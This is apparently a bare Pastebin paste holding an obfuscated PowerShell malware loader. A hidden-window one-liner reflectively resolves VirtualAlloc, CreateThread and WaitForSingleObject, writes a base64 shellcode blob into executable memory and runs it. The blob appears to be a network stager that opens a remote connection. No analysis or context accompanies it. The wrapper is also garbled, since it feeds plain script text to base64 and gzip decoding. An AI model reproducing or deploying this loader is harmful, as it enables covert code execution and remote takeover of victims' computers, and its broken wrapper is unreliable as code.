Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- "powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('function pqX {
- Param ($wv, $c8Uz0)
- $yhI0L = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
- return $yhI0L.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($yhI0L.GetMethod('GetModuleHandle')).Invoke($null, @($wv)))), $c8Uz0))
- }
- function aHK_ {
- Param (
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $qBI,
- [Parameter(Position = 1)] [Type] $yDTG = [Void]
- )
- $sZk7m = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $sZk7m.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $qBI).SetImplementationFlags('Runtime, Managed')
- $sZk7m.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $yDTG, $qBI).SetImplementationFlags('Runtime, Managed')
- return $sZk7m.CreateType()
- }
- [Byte[]]$cl = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmif9h1yaAIAAbuJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=")
- $pJbs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((pqX kernel32.dll VirtualAlloc), (aHK_ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $cl.Length,0x3000, 0x40)
- [System.Runtime.InteropServices.Marshal]::Copy($cl, 0, $pJbs, $cl.length)
- $bxSxI = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((pqX kernel32.dll CreateThread), (aHK_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$pJbs,[IntPtr]::Zero,0,[IntPtr]::Zero)
- [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((pqX kernel32.dll WaitForSingleObject), (aHK_ @([IntPtr], [Int32]))).Invoke($bxSxI,0xffffffff) | Out-Null
- '))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
Advertisement
Add Comment
Please, Sign In to add comment